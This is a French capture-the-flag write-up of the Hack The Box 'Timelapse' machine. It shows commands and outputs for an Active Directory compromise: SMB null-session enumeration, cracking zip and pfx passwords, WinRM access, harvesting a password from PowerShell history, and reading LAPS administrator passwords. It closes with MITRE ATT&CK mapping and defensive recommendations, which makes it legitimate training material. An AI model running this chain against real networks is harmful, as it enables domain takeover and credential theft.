15/11/2024

Cybersécurité

Compromission Active Directory – Le cas de la Box Timelapse de Hack The Box

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Timelapse, de difficulté "Facile". Cet exercice vous montrera un exemple très concret et plutôt réaliste de compromission d'un Active Directory et donc d'un domaine dans un réseau d'entreprise.

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs.

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesWindows, Powershell, LAPS
Outils utilisésnmap, smbclient, johntheripper, evil-winrm, openssl, PowerShell

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Timelapse

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap 10.10.11.152 -p- -T5 -Pn
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans

De nombreux services sont exposés et nous pouvons directement distinguer des services propres aux systèmes d'exploitations Windows et même à l'Active Directory (TCP/88).

Retrouvez notre cours complet sur Nmap sur lien suivant :

B. Recherche dans un partage de fichiers

Une première opération à réaliser systématiquement est de vérifier que tous les partages sont bien protégés par une authentification, exemple avec le port TCP/445 (SMB) et l'outil "smbmap" :

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

$ smbmap -u "%" -p "" -P 445 -H 10.10.11.152 --no-banner

Voici le retour que l'on peut observer :

Utilisation de "smbmap" pour lister les partages d'un hôte distant.

Le service SMB accepte les null sessions, on peut donc s'y authentifier et parcourir certains partages de fichier sans connaitre d'identifiants valides. Une rapide découverte des fichiers stockés nous permet de découvrir une archive ".zip" :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

Accès aux fichiers du partage et récupération d'une archive.

Celle-ci est protégée par un mot de passe, nous pouvons utiliser l'outil "zip2john" afin d'extraire le hash de ce mot de passe dans un format que l'outil de cassage "John The Ripper" saura interpréter. Nous pourrons ensuite utiliser cet outil pour tenter de retrouver le mot de passe correspondant à ce hash à l'aide d'une attaque par brute force reposant sur le dictionnaire "rockyou.txt" :

Technique d'attaque (MITRE ATT&CK) : T1110.002 - Brute Force: Password Cracking

$ zip2john winrm_backup.zip > /tmp/zipPasswordHash
$ john /tmp/zipPasswordHash --wordlist=rockyou.txt
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)

L'utilisation d'un mot de passe faible nous permet d'ouvrir l'archive pour en extraire un fichier ".pfx", dont l'accès est également protégé par un mot de passe. Nous pouvons réitérer la même opération sur ce format de fichier (avec "pfx2john") :

$ pfx2john legacyy_dev_auth.pfx > /tmp/pfxPasswordHash
$ john /tmp/pfxPasswordHash --wordlist=rockyou.txt
thuglegacy       (legacyy_dev_auth.pfx) 

Comme vous pouvez le remarquer, l'outil "John The Ripper" va détecter lui-même le format du hash et adapter son cassage de mot de passe en conséquence. Le nom du fichier semble nous indiquer qu'il appartient à l'utilisateur "legacyy".

Maintenant que nous connaissons le mot de passe du fichier ".pfx", qui est un certificat privé, nous pouvons extraire la clé privée et le certificat qu'il contient :

$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes 
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem

C. Accès winRM et historique PowerShell

Une clé privée est avant tout utilisée pour prouver une identité, c'est-à-dire s'authentifier. Nous pouvons tenter d'utiliser ces informations afin de nous authentifier sur les services exposés de notre cible qui accepte ce mode d'authentification. J'utilise ici l'outil "evil-winrm" afin de m'authentifier sur le service WinRM (TCP/5985) en utilisant la clé privée et le certificat précédemment découvert :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

evil-winrm  --user Legacy -k priv-key.pem -i timelapse.htb -p thuglegacy -S -c certificate.pem
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
a9a2[REDACTED]d351f

Une fois qu'un accès interactif distant est obtenu sur une cible, l'attaquant peut mener de nombreuses opérations pour comprendre où il est sur le réseau, sur le système, quels sont ses droits locaux, à quoi sert le système compromis, etc. Parmi ces opérations figure la vérification de l'historique utilisateur, stocké dans un fichier dans le répertoire de chaque utilisateur dans le cas de PowerShell :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

Evil-WinRM* PS C:\Users\legacyy> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

Dans notre cas, l'historique de commande PowerShell nous permet de retrouver un mot de passe en clair saisi lors de sa conversion en objet "SecureString". Nous pouvons également facilement savoir à quel utilisateur il appartient : "svc_deploy". Ce compte peut ensuite être utilisé pour accéder à distance au système à l'aide de la commande "evil-winrm" :

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm --user svc_deploy -i timelapse.htb -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

D. Élévation de privilège via LAPS_READERS

Nouveau compte, nouvelle énumération. Il nous faut à présent connaitre les droits supplémentaires de ce compte par rapport au compte précédent afin de savoir si celui-ci nous permettra d'aller encore plus loin sur le système. Je liste, par exemple, l'ensemble de mes droits et permissions sur le système d'exploitation via avec la commande ""whoami /all"" :

Technique d'attaque (MITRE ATT&CK) : T1069.002 - Permission Groups Discovery: Domain Groups

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all
User Name            SID
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103

GROUP INFORMATION
TIMELAPSE\LAPS_Readers                      Group            S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group

Cet utilisateur "svc_deploy" fait partie du groupe "TIMELAPSE/LAPS_READERS", il s'agit d'un groupe important qui permet de gérer, et donc lire, les mots de passe LAPS des systèmes du domaine.

Pour en apprendre plus sur ce qu'est LAPS et surtout son apport en termes de sécurité, n'hésitez pas à consulter nos tutoriels à ce sujet :

Ce droit très sensible me permet notamment de récupérer le mot de passe de l'administrateur du contrôleur du domaine, opération ici réalisée en PowerShell :

Technique d'attaque (MITRE ATT&CK) : T1555 - Credentials from Password Stores

> Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
DistinguishedName           : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName                 : dc01.timelapse.htb
Enabled                     : True
ms-Mcs-AdmPwd               : (z)e;CScAMkY1{C-h{vq8oSb
Name                        : DC01

Avec cette information, nous obtenons les droits de l'utilisateur local "Administrator". Autrement dit, nous avons compromis le contrôleur de domaine, et par extension le domaine lui-même.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

*Evil-WinRM* PS C:\Users\Administrator> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\TRX> cat Desktop/root.txt
74d6f[REDACTED]9c2d6

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryScan réseau réalisé via nmap pour découvrir les services exposés
T1078.001 - Valid Accounts: Default AccountsDécouverte et utilisation d'un null session sur le service SMB
T1083 - File and Directory DiscoveryRecherche de fichiers sensibles dans le partage de fichier via smbmap. Téléchargement d'une archive ZIP
T1110.002 - Brute Force: Password CrackingAttaque par bruteforce sur un ".zip" chiffré, puis un fichier ".pfx"
T1021.006 - Remote Services: Windows Remote ManagementAccès distant winRM avec le compte "legacyy" et l'outil "evil-winrm".
T1083 - File and Directory DiscoveryRecherche de fichiers sensibles sur le système avec les droits de l'utilisateur "legacyy". Découverte d'un mot de passe dans l'historique PowerShell.
T1021.006 - Remote Services: Windows Remote ManagementAccès distant winRM avec le compte "svc-deploy" et l'outil "evil-winrm".
T1069.002 - Permission Groups Discovery: Domain GroupsDécouverte des groupes dont est membre "svc-deploy" via PowerShell.
T1555 - Credentials from Password StoresRécupération du mot de passe de l'administrateur local du contrôleur de domaine via PowerShell
T1021.006 - Remote Services: Windows Remote ManagementAccès distant winRM avec les identifiants de l'administrateur local.

IV. Notions abordées

A. Côté attaquant

Le chemin d'attaque de cette box propose la découverte et l'exploitation de vulnérabilité assez classiques et réalistes, notamment concernant l'identification des partages réseau. Il est très fréquent de trouver des partages réseau sur les hôtes d'un système d'information dont certains sont très mal protégés. Cela parfois à cause du "shadow IT", des services montés dans le dos de l'équipe informatique, ou par simple négligence sur un périmètre trop important et difficile à maitriser.

À ce titre, la découverte des partages de fichiers et la recherche d'information sensible aurait également pu être réalisée via Snaffler, qui nous aurait sorti le même résultat.

Pour en apprendre plus sur cet outil puissant, voici notre article sur le sujet :

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : Nous pouvons ici recommander dans un premier temps de renforcer la politique de mots de passe sur le service SMB notamment en interdisant les null sessions. Le mot de passe utilisé pour protéger l'archive ".zip" et le ".pfx" sont faibles puisqu'ils ont été cassés à l'aide du dictionnaire très classique rockyou.txt. Nous pouvons citer en ressource externe le guide de l'ANSSI sur les mots de passe : Recommandations relatives à l'authentification multifacteur et aux mots de passe.

Recommandation n°2 : par extension, il peut être recommandé de vérifier la présence de fichiers sensibles dans les partages réseau, cela pour éviter qu'un utilisateur ou attaquant ne tombe sur des fichiers qu'il n'est pas censé trouver.

Recommandation n°3 : enfin, il peut être recommandé de sensibiliser l'équipe technique à la manipulation des mots de passe, surtout pour éviter qu'ils se retrouvent stockés dans l'historique PowerShell ou ailleurs.

L'élévation de privilège réalisé ici n'a rien d'anormal une fois que l'on a compromis le compte "svc-deploy". On peut s'interroger sur la légitimité de l'appartenance au groupe "LAPS_READERS" mais cela dépends essentiellement du contexte métier et organisationnel. Une fois ce compte compromis, on ne fait finalement qu'une opération légitime : récupérer un attribut auquel les membres de groupe ont accès. Le compte "svc-deploy" a d'ailleurs un mot de passe plutôt correct.

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

author avatar
Mickael Dorigny Co-founder
Co-fondateur d'IT-Connect.fr. Auditeur/Pentester chez Orange Cyberdéfense.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.